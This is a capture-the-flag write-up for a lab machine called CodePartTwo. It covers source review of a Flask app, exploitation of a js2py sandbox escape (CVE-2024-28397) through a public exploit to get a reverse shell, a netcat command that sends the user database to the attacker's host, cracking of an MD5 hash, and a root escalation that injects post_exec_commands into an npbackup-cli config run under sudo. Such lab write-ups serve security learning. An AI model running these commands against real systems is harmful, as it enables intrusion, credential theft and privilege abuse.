CodePartTwo

CodePartTwo write-up (including specifically which part of the application made it vulnerable)

First i ran an nmap scan with the arguments -sCV

• sC: default NSE scripts

• sV: Service & Version detection

• (and -T4 because why not ¯_(ツ)_/¯ )

Nothing much came up, just ssh and port 8000 for the website, so i added the website in hostname (/etc/hosts/), and Download App caught my eye immediately cause (usually I don't move to the exploitation part until I've mapped the entire attack surface

1. source code review

2. I did CodePartOne, so I kind of knew what to expect

---

APP ANALYSIS

After unpacking the archive, we find the source code of the app

and a DB which didn't have anything useful. So after downloading the app, I did a bit of basic enumeration before diving into source code review, and noted down the version of libraries used in the app, which were

flask = 3.0.3
flask-sqlalchemyy = 3.1.1
js2py = 0.74

Now let's read the code.

---

STATIC CODE ANALYSIS

So after the very surface-level analysis, it was clear that the application was built using Flask and relies on SQLAlchemy ORM interaction with a local SQLite database (users.db).

Below are the critical architectural flaws that I identified during the review.

1. Insecure Identity Management

The authentication mechanism uses an obsolete cryptographic standard for password storage.

• Vulnerability: Weak Hashing Algorithm (MD5)

• code

• Risk: MD5 is cryptographically broken. Attackers can trivially reverse these hashes using pre-computed rainbow tables or high-speed cracking tools (e.g., Hashcat), compromising user accounts immediately upon database extraction.

2. Critical RCE Sink (Unsafe Execution)

The most severe vulnerability lies in the /run_code route in the code snippet

• Vulnerability: Server-Side Template Injection / Remote Code Execution

• Explanation: The app accepts user-supplied input and passes it directly to the js2py library to execute JavaScript on the server side.

• code

• Risk: js2py The library is known to allow sandboxing escapes. By crafting a malicious JS payload, it is possible to escape the JS context and execute arbitrary Python code or system commands on the host machine.

3. Exposure of Sensitive Logic

• Vulnerability: the application explicitly serves its own source code via the /download route( /home/app/app/static).

• Impact: Allows the attacker to map the attack surface, locate hidden endpoints, and analyze backend logic for further exploits more accurately.

---

VULNERABILITY DISCLOSURE

During the manual review of the source code, two distinct architectural patterns immediately flagged the application as vulnerable:

1. Unsafe Input Handling: The application imports the js2py lib and utilizes the js2py.eval_js(code) function within the /run_code endpoint. Here, there is no adequate sanitization of user input.

2. Insufficient Sandboxing: The developers attempted to secure the execution by using js2py.disable_pyimport(). But this isn't enough. So, after doing a bit of OSINT i found the app was vulnerable to CVE-2024-28397 https://github.com/naclapor/CVE-2024-28397, so straight away I cloned it and executed the exploit:

python3 exploit.py --target http://10.10.xx.xx:8000/run_code --lhost 10.10.yy.yy --lport 1337

and recieved the shell on my nc, now I already know that the user.db is in the directory as it was in the app that I downloaded. So I accessed that DB using

cat /home/app/app/instance/users.db | nc 10.10.yy.yy 9000

and got username:password_hash from the DB

After cracking it on crackstation.net, I received the password in clear text

And now we can SSH using these credentials, and get the user flag

PRIVILEGE ESCALATION

Now for privilege escalation, as usual, the first thing that I do (sudo -l)

This told us that we have root privilege over npbackup-cli. If we look at the configuration of npbackup-cli, we can see that, as of now, it is not set to take a backup of the root folder. Now, I plan to

1) Edit the configuration file to take a backup of the root folder 
2) Take a backup
3) Access that backup and get the root flag

1. Edit the config file to take a backup of root: after altering the config file and including the root folder, it would be like this

conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: [ENCRYPTED_URI]
    repo_group: default_group
    backup_opts:
      paths:
        - /root
      source_type: folder_list
      post_exec_commands:  # Payload injected here
        - "mkdir -p /tmp/rootbackup"
        - "cp /root/root.txt /tmp/rootbackup/flag.txt 2>/dev/null || true"
        - "chmod 644 /tmp/rootbackup/flag.txt"
        - "chown marco:marco /tmp/rootbackup/flag.txt"
    repo_opts:  # Nested here to ensure password is found
      repo_password: [ENCRYPTED_PASSWORD]
groups:
  default_group: {}  # Added to prevent application crash

1. Execute backup: Run the backup tool using sudo and point it to the malicious configuration file. The --force flag is used to bypass potential warnings.

sudo /usr/local/bin/npbackup-cli -c /tmp/malicious.conf -b --force

1. Retrieve root flag: The post_exec_commands will have executed as root. Retrieve the flag from the temporary directory created by the payload.

cat /tmp/rootbackup/flag.txt

THE END

NEXT TIME I SOLVE THIS BOX, I'M PLANNING TO EXPLOIT THE VULNERABILITY MANUALLY :)